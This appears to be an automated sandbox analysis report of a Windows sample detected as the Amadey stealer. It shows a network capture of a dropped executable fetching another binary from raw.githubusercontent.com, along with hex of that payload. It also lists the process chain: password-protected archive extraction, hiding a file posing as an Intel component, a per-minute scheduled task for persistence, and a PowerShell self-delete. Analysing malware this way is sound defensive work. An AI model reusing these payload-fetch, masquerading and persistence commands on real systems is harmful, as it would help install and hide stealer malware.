WEPWSWhBWWxhBW{W\hBW_W@hBWCW$PW&WnhBWWRhsBWW6EPWsW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49978	185.199.110.133	443	1336	C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 20:13:58 UTC	122	OUT	GET /Urijas/moperats/refs/heads/main/biyjdfjadaw.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-20 20:13:58 UTC	904	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1058336 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "02fab045ea6ba15dc6f39ffbdce0ff0b102325b06457bc1e31975f96b1a69b43" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 2819:11C372:1288231:149A3EB:6765D002 Accept-Ranges: bytes Date: Fri, 20 Dec 2024 20:13:58 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890084-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734725638.425095,VS0,VE84 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 607e375ee93bb245ff116aedd529bf667b32d338 Expires: Fri, 20 Dec 2024 20:18:58 GMT Source-Age: 0
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 77 a5 6d d7 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 8a 0e 00 00 28 01 00 00 00 00 00 9e a8 0e 00 00 20 00 00 00 c0 0e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 10 00 00 02 00 00 c5 c5 10 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELwm"0( @ `
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: 00 00 02 00 00 11 14 72 01 00 00 70 1f 0b 8d 16 00 00 01 25 16 02 7b 38 00 00 0a 0a 12 00 25 71 13 00 00 1b 8c 13 00 00 1b 2d 04 26 14 2b 0b fe 16 13 00 00 1b 6f 65 00 00 0a a2 25 17 02 7b 39 00 00 0a 0b 12 01 25 71 14 00 00 1b 8c 14 00 00 1b 2d 04 26 14 2b 0b fe 16 14 00 00 1b 6f 65 00 00 0a a2 25 18 02 7b 3a 00 00 0a 0c 12 02 25 71 15 00 00 1b 8c 15 00 00 1b 2d 04 26 14 2b 0b fe 16 15 00 00 1b 6f 65 00 00 0a a2 25 19 02 7b 3b 00 00 0a 0d 12 03 25 71 16 00 00 1b 8c 16 00 00 1b 2d 04 26 14 2b 0b fe 16 16 00 00 1b 6f 65 00 00 0a a2 25 1a 02 7b 3c 00 00 0a 13 04 12 04 25 71 17 00 00 1b 8c 17 00 00 1b 2d 04 26 14 2b 0b fe 16 17 00 00 1b 6f 65 00 00 0a a2 25 1b 02 7b 3d 00 00 0a 13 05 12 05 25 71 18 00 00 1b 8c 18 00 00 1b 2d 04 26 14 2b 0b fe 16 18 00 00 1b Data Ascii: rp%{8%q-&+oe%{9%q-&+oe%{:%q-&+oe%{;%q-&+oe%{<%q-&+oe%{=%q-&+
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: 00 00 0a 6f 59 00 00 0a 39 aa 00 00 00 28 7b 00 00 0a 02 7b 74 00 00 0a 06 7b 74 00 00 0a 6f 7c 00 00 0a 39 8f 00 00 00 28 7d 00 00 0a 02 7b 75 00 00 0a 06 7b 75 00 00 0a 6f 7e 00 00 0a 2c 77 28 7f 00 00 0a 02 7b 76 00 00 0a 06 7b 76 00 00 0a 6f 80 00 00 0a 2c 5f 28 81 00 00 0a 02 7b 77 00 00 0a 06 7b 77 00 00 0a 6f 82 00 00 0a 2c 47 28 83 00 00 0a 02 7b 78 00 00 0a 06 7b 78 00 00 0a 6f 84 00 00 0a 2c 2f 28 85 00 00 0a 02 7b 79 00 00 0a 06 7b 79 00 00 0a 6f 86 00 00 0a 2c 17 28 87 00 00 0a 02 7b 7a 00 00 0a 06 7b 7a 00 00 0a 6f 88 00 00 0a 2a 16 2a 17 2a 00 13 30 03 00 a4 01 00 00 00 00 00 00 20 62 1c ce af 20 29 55 55 a5 5a 28 44 00 00 0a 02 7b 69 00 00 0a 6f 5a 00 00 0a 58 20 29 55 55 a5 5a 28 46 00 00 0a 02 7b 6a 00 00 0a 6f 5b 00 00 0a 58 20 29 55 55 Data Ascii: oY9({{t{to\|9(}{u{uo~,w({v{vo,_({w{wo,G({x{xo,/({y{yo,({z{zo***0 b )UUZ(D{ioZX )UUZ(F{jo[X )UU
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: 2d 00 00 1b 6f 65 00 00 0a a2 28 66 00 00 0a 2a 1e 02 7b 90 00 00 0a 2a 1e 02 7b 91 00 00 0a 2a 1e 02 7b 92 00 00 0a 2a 1e 02 7b 93 00 00 0a 2a 1e 02 7b 94 00 00 0a 2a 1e 02 7b 95 00 00 0a 2a 1e 02 7b 96 00 00 0a 2a 1e 02 7b 97 00 00 0a 2a 1e 02 7b 98 00 00 0a 2a 1e 02 7b 99 00 00 0a 2a 1e 02 7b 9a 00 00 0a 2a 1e 02 7b 9b 00 00 0a 2a 1e 02 7b 9c 00 00 0a 2a 1e 02 7b 9d 00 00 0a 2a 1e 02 7b 9e 00 00 0a 2a 1e 02 7b 9f 00 00 0a 2a 00 00 13 30 02 00 84 00 00 00 00 00 00 00 02 28 43 00 00 0a 02 03 7d 90 00 00 0a 02 04 7d 91 00 00 0a 02 05 7d 92 00 00 0a 02 0e 04 7d 93 00 00 0a 02 0e 05 7d 94 00 00 0a 02 0e 06 7d 95 00 00 0a 02 0e 07 7d 96 00 00 0a 02 0e 08 7d 97 00 00 0a 02 0e 09 7d 98 00 00 0a 02 0e 0a 7d 99 00 00 0a 02 0e 0b 7d 9a 00 00 0a 02 0e 0c 7d 9b 00 Data Ascii: -oe(f{{{{{{{{{{{{{{{{*0(C}}}}}}}}}}}}
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: 1b 2d 04 26 14 2b 0b fe 16 18 00 00 1b 6f 65 00 00 0a a2 25 1c 02 7b 96 00 00 0a 13 06 12 06 25 71 19 00 00 1b 8c 19 00 00 1b 2d 04 26 14 2b 0b fe 16 19 00 00 1b 6f 65 00 00 0a a2 25 1d 02 7b 97 00 00 0a 13 07 12 07 25 71 1a 00 00 1b 8c 1a 00 00 1b 2d 04 26 14 2b 0b fe 16 1a 00 00 1b 6f 65 00 00 0a a2 25 1e 02 7b 98 00 00 0a 13 08 12 08 25 71 1b 00 00 1b 8c 1b 00 00 1b 2d 04 26 14 2b 0b fe 16 1b 00 00 1b 6f 65 00 00 0a a2 25 1f 09 02 7b 99 00 00 0a 13 09 12 09 25 71 1c 00 00 1b 8c 1c 00 00 1b 2d 04 26 14 2b 0b fe 16 1c 00 00 1b 6f 65 00 00 0a a2 25 1f 0a 02 7b 9a 00 00 0a 13 0a 12 0a 25 71 1d 00 00 1b 8c 1d 00 00 1b 2d 04 26 14 2b 0b fe 16 1d 00 00 1b 6f 65 00 00 0a a2 25 1f 0b 02 7b 9b 00 00 0a 13 0b 12 0b 25 71 27 00 00 1b 8c 27 00 00 1b 2d 04 26 14 2b Data Ascii: -&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q''-&+
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: 58 00 00 0a 02 7b aa 00 00 0a 6f 64 00 00 0a 58 20 29 55 55 a5 5a 28 7b 00 00 0a 02 7b ab 00 00 0a 6f 89 00 00 0a 58 20 29 55 55 a5 5a 28 7d 00 00 0a 02 7b ac 00 00 0a 6f 8a 00 00 0a 58 20 29 55 55 a5 5a 28 7f 00 00 0a 02 7b ad 00 00 0a 6f 8b 00 00 0a 58 20 29 55 55 a5 5a 28 81 00 00 0a 02 7b ae 00 00 0a 6f 8c 00 00 0a 58 2a 00 13 30 07 00 7c 02 00 00 0a 00 00 11 14 72 f8 06 00 70 1f 0f 8d 16 00 00 01 25 16 02 7b a0 00 00 0a 0a 12 00 25 71 13 00 00 1b 8c 13 00 00 1b 2d 04 26 14 2b 0b fe 16 13 00 00 1b 6f 65 00 00 0a a2 25 17 02 7b a1 00 00 0a 0b 12 01 25 71 14 00 00 1b 8c 14 00 00 1b 2d 04 26 14 2b 0b fe 16 14 00 00 1b 6f 65 00 00 0a a2 25 18 02 7b a2 00 00 0a 0c 12 02 25 71 15 00 00 1b 8c 15 00 00 1b 2d 04 26 14 2b 0b fe 16 15 00 00 1b 6f 65 00 00 0a a2 Data Ascii: X{odX )UUZ({{oX )UUZ(}{oX )UUZ({oX )UUZ({oX*0\|rp%{%q-&+oe%{%q-&+oe%{%q-&+oe
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: 7b bc 00 00 0a 6f 80 00 00 0a 2a 16 2a 17 2a 00 13 30 03 00 48 01 00 00 00 00 00 00 20 60 2d a1 83 20 29 55 55 a5 5a 28 44 00 00 0a 02 7b af 00 00 0a 6f 5a 00 00 0a 58 20 29 55 55 a5 5a 28 46 00 00 0a 02 7b b0 00 00 0a 6f 5b 00 00 0a 58 20 29 55 55 a5 5a 28 48 00 00 0a 02 7b b1 00 00 0a 6f 5c 00 00 0a 58 20 29 55 55 a5 5a 28 4a 00 00 0a 02 7b b2 00 00 0a 6f 5d 00 00 0a 58 20 29 55 55 a5 5a 28 4c 00 00 0a 02 7b b3 00 00 0a 6f 5e 00 00 0a 58 20 29 55 55 a5 5a 28 4e 00 00 0a 02 7b b4 00 00 0a 6f 5f 00 00 0a 58 20 29 55 55 a5 5a 28 50 00 00 0a 02 7b b5 00 00 0a 6f 60 00 00 0a 58 20 29 55 55 a5 5a 28 52 00 00 0a 02 7b b6 00 00 0a 6f 61 00 00 0a 58 20 29 55 55 a5 5a 28 54 00 00 0a 02 7b b7 00 00 0a 6f 62 00 00 0a 58 20 29 55 55 a5 5a 28 56 00 00 0a 02 7b b8 00 Data Ascii: {o***0H `- )UUZ(D{oZX )UUZ(F{o[X )UUZ(H{o\X )UUZ(J{o]X )UUZ(L{o^X )UUZ(N{o_X )UUZ(P{o`X )UUZ(R{oaX )UUZ(T{obX )UUZ(V{
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: 55 55 a5 5a 28 4e 00 00 0a 02 7b c2 00 00 0a 6f 5f 00 00 0a 58 2a 13 30 07 00 04 01 00 00 0e 00 00 11 14 72 42 0b 00 70 1c 8d 16 00 00 01 25 16 02 7b bd 00 00 0a 0a 12 00 25 71 13 00 00 1b 8c 13 00 00 1b 2d 04 26 14 2b 0b fe 16 13 00 00 1b 6f 65 00 00 0a a2 25 17 02 7b be 00 00 0a 0b 12 01 25 71 14 00 00 1b 8c 14 00 00 1b 2d 04 26 14 2b 0b fe 16 14 00 00 1b 6f 65 00 00 0a a2 25 18 02 7b bf 00 00 0a 0c 12 02 25 71 15 00 00 1b 8c 15 00 00 1b 2d 04 26 14 2b 0b fe 16 15 00 00 1b 6f 65 00 00 0a a2 25 19 02 7b c0 00 00 0a 0d 12 03 25 71 16 00 00 1b 8c 16 00 00 1b 2d 04 26 14 2b 0b fe 16 16 00 00 1b 6f 65 00 00 0a a2 25 1a 02 7b c1 00 00 0a 13 04 12 04 25 71 17 00 00 1b 8c 17 00 00 1b 2d 04 26 14 2b 0b fe 16 17 00 00 1b 6f 65 00 00 0a a2 25 1b 02 7b c2 00 00 0a Data Ascii: UUZ(N{o_X*0rBp%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: 7b c5 00 00 0a 0c 12 02 25 71 15 00 00 1b 8c 15 00 00 1b 2d 04 26 14 2b 0b fe 16 15 00 00 1b 6f 65 00 00 0a a2 25 19 02 7b c6 00 00 0a 0d 12 03 25 71 16 00 00 1b 8c 16 00 00 1b 2d 04 26 14 2b 0b fe 16 16 00 00 1b 6f 65 00 00 0a a2 25 1a 02 7b c7 00 00 0a 13 04 12 04 25 71 17 00 00 1b 8c 17 00 00 1b 2d 04 26 14 2b 0b fe 16 17 00 00 1b 6f 65 00 00 0a a2 25 1b 02 7b c8 00 00 0a 13 05 12 05 25 71 18 00 00 1b 8c 18 00 00 1b 2d 04 26 14 2b 0b fe 16 18 00 00 1b 6f 65 00 00 0a a2 25 1c 02 7b c9 00 00 0a 13 06 12 06 25 71 19 00 00 1b 8c 19 00 00 1b 2d 04 26 14 2b 0b fe 16 19 00 00 1b 6f 65 00 00 0a a2 25 1d 02 7b ca 00 00 0a 13 07 12 07 25 71 1a 00 00 1b 8c 1a 00 00 1b 2d 04 26 14 2b 0b fe 16 1a 00 00 1b 6f 65 00 00 0a a2 25 1e 02 7b cb 00 00 0a 13 08 12 08 25 71 Data Ascii: {%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: 63 00 00 0a 58 20 29 55 55 a5 5a 28 58 00 00 0a 02 7b db 00 00 0a 6f 64 00 00 0a 58 20 29 55 55 a5 5a 28 7b 00 00 0a 02 7b dc 00 00 0a 6f 89 00 00 0a 58 20 29 55 55 a5 5a 28 7d 00 00 0a 02 7b dd 00 00 0a 6f 8a 00 00 0a 58 20 29 55 55 a5 5a 28 7f 00 00 0a 02 7b de 00 00 0a 6f 8b 00 00 0a 58 2a 13 30 07 00 52 02 00 00 0c 00 00 11 14 72 58 0e 00 70 1f 0e 8d 16 00 00 01 25 16 02 7b d1 00 00 0a 0a 12 00 25 71 13 00 00 1b 8c 13 00 00 1b 2d 04 26 14 2b 0b fe 16 13 00 00 1b 6f 65 00 00 0a a2 25 17 02 7b d2 00 00 0a 0b 12 01 25 71 14 00 00 1b 8c 14 00 00 1b 2d 04 26 14 2b 0b fe 16 14 00 00 1b 6f 65 00 00 0a a2 25 18 02 7b d3 00 00 0a 0c 12 02 25 71 15 00 00 1b 8c 15 00 00 1b 2d 04 26 14 2b 0b fe 16 15 00 00 1b 6f 65 00 00 0a a2 25 19 02 7b d4 00 00 0a 0d 12 03 25 Data Ascii: cX )UUZ(X{odX )UUZ({{oX )UUZ(}{oX )UUZ({oX*0RrXp%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%

Target ID:	0
Start time:	15:12:07
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x4f0000
File size:	3'057'152 bytes
MD5 hash:	8D69ADFE2E1DB76B837405B076979809
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2167049824.0000000005120000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:12:10
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x4b0000
File size:	3'057'152 bytes
MD5 hash:	8D69ADFE2E1DB76B837405B076979809
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2206842613.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:12:11
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x4b0000
File size:	3'057'152 bytes
MD5 hash:	8D69ADFE2E1DB76B837405B076979809
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2214730480.0000000004660000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:13:00
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x4b0000
File size:	3'057'152 bytes
MD5 hash:	8D69ADFE2E1DB76B837405B076979809
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000003.2692980967.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	15:13:17
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	15:13:23
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff727100000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	15:13:23
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	15:13:23
Start date:	20/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff65f8a0000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:13:23
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Imagebase:	0xdd0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	15:13:23
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0x7ff6ae840000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	15:13:23
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0xdd0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	15:13:24
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0xdd0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	15:13:24
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0xdd0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	15:13:24
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0x7ff6ae840000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	15:13:24
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0xdd0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	15:13:24
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0xdd0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	15:13:25
Start date:	20/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "in.exe"
Imagebase:	0x7ff797090000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	15:13:25
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\in.exe
Wow64 process (32bit):	false
Commandline:	"in.exe"
Imagebase:	0x7ff769060000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	15:13:25
Start date:	20/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff797090000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	15:13:25
Start date:	20/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff797090000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	15:13:25
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	15:13:25
Start date:	20/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Imagebase:	0x7ff6847d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	15:13:25
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	15:13:25
Start date:	20/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.0.0.1; del in.exe
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	15:13:25
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	15:13:25
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	15:13:26
Start date:	20/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff639700000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	15:13:27
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff6f3b30000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
